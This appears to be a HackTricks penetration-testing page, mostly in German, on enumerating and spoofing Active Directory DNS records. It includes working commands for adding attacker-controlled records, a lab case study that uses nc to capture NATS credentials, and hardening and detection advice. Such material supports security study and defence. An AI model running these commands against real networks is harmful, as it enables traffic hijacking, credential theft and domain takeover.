AD DNS-EintrÀge

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks

StandardmĂ€ĂŸig kann jeder Benutzer in Active Directory alle DNS records enumerieren in den Domain- oder Forest-DNS-Zonen, Ă€hnlich einem zone transfer (Benutzer können die child objects einer DNS-Zone in einer AD-Umgebung auflisten).

Das Tool adidnsdump ermöglicht enumeration und exporting von allen DNS records in der Zone fĂŒr recon-Zwecke interner Netzwerke.

git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
pip install .

# Enumerate the default zone and resolve the "hidden" records
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r

# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,
)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones

# Dump a specific zone (e.g. ForestDnsZones)
adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r

cat records.csv

adidnsdump v1.4.0 (April 2025) fĂŒgt JSON/Greppable (--json) Ausgabe, Multi-Threaded DNS-Auflösung und UnterstĂŒtzung fĂŒr TLS 1.2/1.3 beim Binden an LDAPS hinzu

FĂŒr weitere Informationen siehe https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/


Erstellen / Ändern von EintrĂ€gen (ADIDNS spoofing)

Weil die Gruppe Authenticated Users standardmĂ€ĂŸig Create Child auf der zone DACL hat, kann jedes DomĂ€nenkonto (oder Computerkonto) zusĂ€tzliche EintrĂ€ge registrieren. Dies kann fĂŒr traffic hijacking, NTLM relay coercion oder sogar full domain compromise genutzt werden.

PowerMad / Invoke-DNSUpdate (PowerShell)

Import-Module .\Powermad.ps1

# Add A record evil.domain.local → attacker IP
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose

# Delete it when done
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose

Impacket – dnsupdate.py (Python)

# add/replace an A record via secure dynamic-update
python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37

(dnsupdate.py wird mit Impacket ≄0.12.0 ausgeliefert)

BloodyAD

bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37

HĂ€ufige Angriffsprimitive

  1. Wildcard record – *.<zone> verwandelt den AD DNS-Server in einen unternehmensweiten Responder, Ă€hnlich wie bei LLMNR/NBNS spoofing. Es kann missbraucht werden, um NTLM-Hashes abzufangen oder diese an LDAP/SMB weiterzuleiten. (Erfordert, dass WINS-lookup deaktiviert ist.)
  2. WPAD hijack – fĂŒge wpad hinzu (oder einen NS-Eintrag, der auf einen Angreifer-Host zeigt, um die Global-Query-Block-List zu umgehen) und leite ausgehende HTTP-Anfragen transparent ĂŒber einen Proxy, um Anmeldeinformationen zu sammeln. Microsoft hat die wildcard-/DNAME-BypĂ€sse (CVE-2018-8320) gepatcht, aber NS-records funktionieren weiterhin.
  3. Stale entry takeover – beanspruche die IP-Adresse, die zuvor zu einer Workstation gehörte; der zugehörige DNS-Eintrag wird weiterhin aufgelöst, wodurch resource-based constrained delegation oder Shadow-Credentials-Angriffe möglich werden, ohne DNS ĂŒberhaupt anzufassen.
  4. DHCP → DNS spoofing – in einer Standard-Windows-DHCP+DNS-Umgebung kann ein nicht authentifizierter Angreifer im gleichen Subnetz durch das Senden gefĂ€lschter DHCP-Anfragen, die dynamic DNS updates auslösen, jeden bestehenden A record (einschließlich Domain Controllers) ĂŒberschreiben (Akamai “DDSpoof”, 2023). Dadurch entsteht ein machine-in-the-middle ĂŒber Kerberos/LDAP und es kann zur vollstĂ€ndigen Domain-Übernahme kommen.
  5. Certifried (CVE-2022-26923) – Ă€ndere den dNSHostName eines Maschinenaccounts, den du kontrollierst, registriere einen passenden A record und fordere dann ein Zertifikat fĂŒr diesen Namen an, um dich als DC auszugeben. Tools wie Certipy oder BloodyAD automatisieren den Ablauf vollstĂ€ndig.

Interne Service-Übernahme via veraltete dynamische EintrĂ€ge (NATS-Fallstudie)

Wenn dynamische Updates fĂŒr alle authentifizierten Benutzer offenbleiben, kann ein deregistrierter Dienstname erneut beansprucht und auf Angreiferinfrastruktur umgeleitet werden. Der Mirage HTB DC zeigte nach DNS scavenging den Hostnamen nats-svc.mirage.htb an, sodass jeder Benutzer mit geringen Rechten:

  1. BestÀtigen, dass der Eintrag fehlt und die SOA mit dig ermitteln:
dig @dc01.mirage.htb nats-svc.mirage.htb
  1. Den DNS-Eintrag neu erstellen auf eine von ihnen kontrollierte externe/VPN-Schnittstelle:
nsupdate
> server 10.10.11.78
> update add nats-svc.mirage.htb 300 A 10.10.14.2
> send
  1. Impersonate the plaintext service. NATS-Clients erwarten, ein INFO { ... } Banner zu sehen, bevor sie Anmeldeinformationen senden, daher reicht das Kopieren eines legitimen Banners vom echten Broker aus, um Geheimnisse abzugreifen:
# Capture a single INFO line from the real service and replay it to victims
nc 10.10.11.78 4222 | head -1 | nc -lnvp 4222

Any client that resolves the hijacked name will immediately leak its JSON CONNECT frame (including "user"/"pass") to the listener. Running the official nats-server -V binary on the attacker host, disabling its log redaction, or just sniffing the session with Wireshark yields the same plaintext credentials because TLS was optional.

  1. Pivot with the captured creds – in Mirage the stolen NATS account provided JetStream access, which exposed historic authentication events containing reusable AD usernames/passwords.

This pattern applies to every AD-integrated service that relies on unsecured TCP handshakes (HTTP APIs, RPC, MQTT, etc.): once the DNS record is hijacked, the attacker becomes the service.


Erkennung & HĂ€rtung

  • Verweigern Sie Authenticated Users das Recht Create all child objects auf sensiblen Zonen und delegieren Sie dynamische Updates an ein dediziertes Konto, das von DHCP verwendet wird.
  • Wenn dynamische Updates erforderlich sind, setzen Sie die Zone auf Secure-only und aktivieren Sie Name Protection in DHCP, sodass nur das Besitzer-Computerobjekt seinen eigenen Eintrag ĂŒberschreiben kann.
  • Überwachen Sie DNS-Server-Ereignis-IDs 257/252 (dynamic update), 770 (zone transfer) und LDAP-SchreibvorgĂ€nge zu CN=MicrosoftDNS,DC=DomainDnsZones.
  • Sperren Sie gefĂ€hrliche Namen (wpad, isatap, *) mit einem bewusst harmlosen Eintrag oder ĂŒber die Global Query Block List.
  • Halten Sie DNS-Server gepatcht – z. B. erreichten RCE-Bugs CVE-2024-26224 und CVE-2024-26231 CVSS 9.8 und sind remote gegen Domain Controllers ausnutzbar.

References

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks